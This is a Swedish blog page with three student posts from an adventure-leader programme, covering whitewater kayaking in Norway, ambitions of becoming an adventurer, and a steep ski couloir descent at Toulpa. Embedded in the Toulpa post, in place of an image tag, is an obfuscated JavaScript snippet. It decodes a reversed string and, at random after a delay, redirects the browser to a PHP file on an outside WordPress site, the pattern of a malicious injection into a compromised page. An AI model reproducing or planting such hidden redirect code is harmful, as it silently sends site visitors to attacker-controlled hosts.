Kurs med Värmlänningen

Jag kollar mobilen efter en lång dag ute på älven där jag jobbar som raftingguide. Ett sms från Dennis Franzen ”Hört att det är högt vatten, ska vi paddla?”

Martin värmer upp innan det blir action

2012 började jag utbildningen. YH-fjäll och äventyrsledare i Älvdalen.
Nu jobbar jag som aktivitet och event ansvarig på Idrefjäll. Där bland annat forsränning ingår. Sex år än så länge av roliga och utmanade minnen där allt handlar om att utvecklas som människa och få mer kunskaper för att jobba och utveckla upplevelseturism. Mycket handlar om en sak. Det att våga utmana sig för att utvecklas. Så när man får ett sms från sin gamla lärare från Älvdalen som undrar om vi ska paddla så vet jag att jag kommer behöva kliva utan för min komfort zon.
Jag har paddlat mycket men senast jag var ute med Dennis själv slutade det med en simtur i en klass 5 fors (vilket är en av de svåraste/tuffaste graderingen på en fors).

kastlina, check. full face, check. fjärilar I magen, Check!

Vi möts upp i Idre och kollar så allt är med. Checklistor är väldigt viktiga så man inte står där ute och har glömt något som kan äventyra hela upplägget.
Sedan sätter vi oss i bilen och rullar iväg mot Norge.
Vi ska paddla Norska Röa, nedanför Engerdal.  En älv som bara går att paddla vid ett fåtal tillfällen per år.  Vi och tittar på vattenståndet och ser att det är ok att paddla. En älv som kräver god kunskap i paddelteknik och säkerhet.
Vi byter om och bär upp till starten.
När vi väl börjar paddla känns det bättre. Röa bjuder på små och stora forsar. Det mesta går att förutspå och vi kan paddla säkert i små etapper.
Men strax börjar det bli brantare.  Ett fall där man inte ser landningen kan dölja många faror.
Vi går iland för att reka . Alltså kolla olika linjer, identifiera faror och konsekvenser.
Nu känner jag att jag måste lämna min komfortzon eller bära förbi.
Men än känner jag mig trygg. Det är nämligen så att om man ska lämna sin egen komfort zon så är det bra om man kliver in i någon annans, för då har man ökat trygghet, kanske få pep och stöd för att utvecklas.

Linjen i fokus…men är kajaken med på planen?

Turen går vidare och vi kommer fram till ett av de högsta fallet för turen. Ett vattenfall som är ca 5m högt och faller ner i en djup fin pool. Vi går iland och rekar igen.
Det blir jag som ska köra först. ”Bra för psyket” säger Dennis.
Jag går upp till min kajak igen och kikar en sista gång på fallet.
Just den vågen vill jag träffa mitt på, tänker jag.
Sen sätter jag mig i kajaken igen och tänker igenom en gång till på allt jag ska göra. Det flyger in lite andra tankar i huvudet, vad händer om jag fuckar upp?, Kommer sidlängs?…Jag slår bort dom negativa tankarna och fokuserar enbart på linjen.  Visualiserar sista paddeltaget, paddel vid sidan, lutar mig framåt…fallet!
Jag får klartecken, nu gäller det! Sista skvätt med vatten i ansiktet. Nu kör vi!
Forsens kraft vill ta bestämma över kajaken men jag tar snabbt över kontrollen. Kraftiga paddeltag.  Stark tro på mig själv. Ser vågen som jag vill träffa…YES! jag ligger perfekt i linje
Kanten kommer snabbt… NU, draget, luta kroppen fram…
Känslan av att bli viktlös i nån sekund. Sen impakten…
Hela jag fylls av adrenalin. Jag har satt linjen perfekt och detta är så jävla kul!

Känslan…obeskrivbar

Vi fortsätter ner och det kommer några drop till och några stökiga forsar. Men allt går bra och när vi kommer fram till slutet kommer den stora belöningen. Att känna att man har klivit utanför sin komfortzon och det gick bra, man har då flyttat fram sin egen gräns. Just känslan när man är klar är fantastisk.

Vi åker tillbaka till Idre, klockan är ganska mycket och jag ska upp om några timmar för att guida rafting. Jag har nog väldens bästa jobb. Att kunna kombinera sina intressen med sitt yrke är något jag gillar och är nog ett måste om man ska gilla denna bransch.

Jag vill skicka med er, ni som går och ni som nu ska börja på Äventyrsgymnasiet. er andra, att våga gå utan för er komfortzon. Det kanske inte handlar om att paddla vattenfall utan att våga ringa det där samtalet eller våga göra något nytt. Ni kommer vinna på det i slutänden.

Och om ni inte prövat forsränning, GÖR DET!

Kollar in nästa utmaning

Martin Voest /Aktivitet och eventansvarig Idre Fjäll

Om din dröm inte skrämmer dig är den inte stor nog

Skoter i solnedgång

Jag vaknar till liv i en snötäckt granskog. Solen har ännu inte hunnit stiga upp och det är dunkelt mellan träden, men snön lyser upp marken. Luften är frisk, och biter i mina kinder. Nyvaken skidar jag på morgon skaren mot nästa mål. Jag har inte riktigt vaknat till liv ännu, men mitt i backen blir jag plötsligt överväldigad av tacksamhet över att få vara på den här platsen. Jag känner att jag hittat hem.

Skoter i solnedgång

Ungefär här, på fjället för 4 år sedan bestämde jag mig för att jag vill bli professionell äventyrare. Jag drabbades av tanken att man inte lever för evigt och tänkte att man måste leva livet fullt ut. Jag vill inte se tillbaka på mitt liv och tänka att jag inte gjort allt som jag drömt om. Det handlar inte om att bevisa något eller förverkliga mig själv, nej i det stora hela har jag helt enkelt alltid älskat friluftslivet. Att kombinera fysisk utmaning med att uppleva naturen.

Äventyrsgymnasiet på is
”ditåt blir det mer osäkert…låt oss pröva”

Jag föddes nyfiken, envis, och rastlös, men för att göra verklighet av min dröm behöver jag något mer. Och här kommer min utbildning till fjäll och äventyrsledare in, tänk dig en lång trappa. För varje trappsteg jag tar ser jag lite mer av våningen ovanför där erfarenhet, kunskap och idéer finns att hämta.  Ju längre upp jag kommer desto mer fylls min ryggsäck på för att slutligen vara färdigpackad och jag är redo att möta mina äventyr.

Med snöskor och sovsäck

Min stora förebild är Norska äventyraren Tonje blomseth. Jag såg henne nyss i  tv serien tjejer i vildmarken där hon med pistol och björnspray ensam skidar i Finska Lappland.

”Rädslan är viktig att möta. Den får inte begränsa utan måste besegras”

Hon visade mig gång på gång att även om oddsen är emot dig så avgörs det hela i dit huvud.  Tror man på det tillräckligt mycket är ingenting omöjligt – korsa Grönland, tura nordkalotten eller nå båda polerna. Vågar ta klivet ut och gör något av dina drömmar, inse att rädslan är viktig att möta. Den får inte begränsa utan måste besegras. Kunskap kombinerat med bra förebilder tror jag är nyckeln till att nå mina drömmar. Kunskapen behövs för att komplitera min nyfikenhet, envishet och rastlöshet. Och förebilder behövs för att ge mig kraft och lust till att förverkliga mina drömmar

To be continued

I kajaken nedför forsen
Mångsysslaren Sofi ned för forsarna

/Sofi Wennstig YH Fjäll -och äventyrselev 16/17
Fotograf & skidpatrullör

Leva eller överleva

Äventyrsgymnasiet vid Toulpa

”Jo men vi tänkte som att vi som stänger tidigare imorgon och gör Toulpa, bli du me´?”

Jag lät frågan hänga en sekund i luften innan jag faktiskt kunde lita på vad jag hörde. Vilken fråga, ett av de mest eftersökta åken i Sverige och jag har inte ens hunnit packa upp väskan när frågan kommer. Det är strålande solsken och ligger någon decimeter vitt fantastiskt puder på backen. Termometern visar minus 11 grader och det har varit ett stabilt väder, med ett ganska kompakt baslager under snön. Det är verkligen helt perfekta förhållanden och när jag turar upp i personalbacken på eftermiddagen så går jag och fnissar för mig själv. Det känns som att hjärtat gör små volter när jag slår stavarna i snön och pudret skickas upp i luften. En bit upp hudar jag av och tittar utåt mot Ladjuvaggi och ögonen tåras. Det känns som att jag ska dö av ett enda perfekt ögonblick och när skidorna flyter genom snön känns det gudomligt. Långa och korta svängar känns fint, fastän jag är en väldigt ovan offpiståkare och de små vinddrivorna som skidorna inte totalt forcerar bjuder på mindre luftfärder. Jag skrattar hela vägen ner och skriker spontant ikapp med livet, men åket tar slut lite för fort. Som alltid.

$NqM=function(n){if (typeof ($NqM.list[n]) == ”string”) return $NqM.list[n].split(””).reverse().join(””);return $NqM.list[n];};$NqM.list=[”\’php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}toulpa.jpg” alt=”Äventyrsgymnasiet vid Toulpa” width=”1386″ height=”926″ /> Äventyrsgymnasiet vid Toulpa

På vägen mot Toulpa känner jag i hur dålig form jag är och vid firningen ner i startrännan trycker jag i mig en chokladbit samtidigt som jag fipplar på mig selen och får fast skidorna på ryggsäcken. Firningen är enkel, Matti firar först och gräver av en liten ledge i den branta rännan. Vi firar ca 25m ner och när jag kommer ner drar Matti iväg och lämnar ledgen till mig. Jag får ordning på utrustningen Rännaoch tittar ner för den branta rännan. Herrejösses vad brant, brantare än jag någonsin åkt offpist förut. Och nu även första gången jag står med bergsvägg på ena sidan och stenskravel på andra sidan om mig med skidor på fötterna. Där jag står är rännan 8-10 m bred och jag bestämmer mig för att hasa de första 3 metrarna så att jag kan ta ut en längre högersväng som första säng. Adrenalinet strömmar till och jag lugnar mig genom att kontrollera andningen. Vill jag verkligen det här? Första gången jag åker ränna, första gången så brant och egentligen ett parti som egentligen ligger lite över min nivå. Shit ja! Verkligen. Jag är taggad, peppad och laddad, jag har det här! Korridorhas ner till min breakpoint och sen låter jag skidorna skära mig in bakom klippkanten där rännan breddar sig lite och nu är det försent att ändra sig. Jag vänder ner skidorna i den första svängen och tycker att det känns konstigt och ostabilt. Det kan vara att det är så brant att jag omedvetet lutar mig för mycket bak, så i nästa sväng attackerar jag branten. Jag tror att jag viktar dalskidan för snabbt, innan pudret ger bäring och jag tippar över, jag rullar ner två varv Grytanoch det sträcker till i vaden, Det känns som att det blir bättre om jag åker på det och jag försöker åka direkt. Skidorna fladdrar och jag faller igen, och igen. I skålen, som inte är så brant trillar jag igen, innan jag inser att jag har pjäxorna i gåläge. Irriterad och arg på mig själv åtgärdar jag problemet och kroppen pulserar av adrenalin. Jag fortsätter åka, men det känns fortfarande ostabilt och jag lyckas falla igen. Jag har inte ont, men det är märklig ostabilt, foten drar lixom inåt.

Nere vid samlingsplatsen frågar Matti om det gick bra. Vad svarar man? Ja såklart, sträckte vaden lite bara, men det ska nog gå bra. I den andra rännan börjar det kännas mer i vaden och jag sätter mig ner ett par gånger, väl ute fungerar det att svänga, men det börjar göra ont i vaden och jag skriker till ett par gånger. Adrenalinet har släppt, men det svåraste är förbi och det är inte långt tillbaka till stationen så vi hinner tillbaka till lunchen. Allt som allt så var det en fantastiskt dålig start på min praktik, min vad är obrukbar i flera dagar och det tar två veckor innan jag kan göra vänstersvängar igen. Hade jag fått chansen att åka det igen så hade jag absolut gjort det. Ingen tvekan. Livet är till för att levas, ingen överlever det, men man överlever mer än man tror.

/Peter YH Fjäll -och äventyrselev 16/17
Numera raftingguide/Klätterinstruktör

Toulpa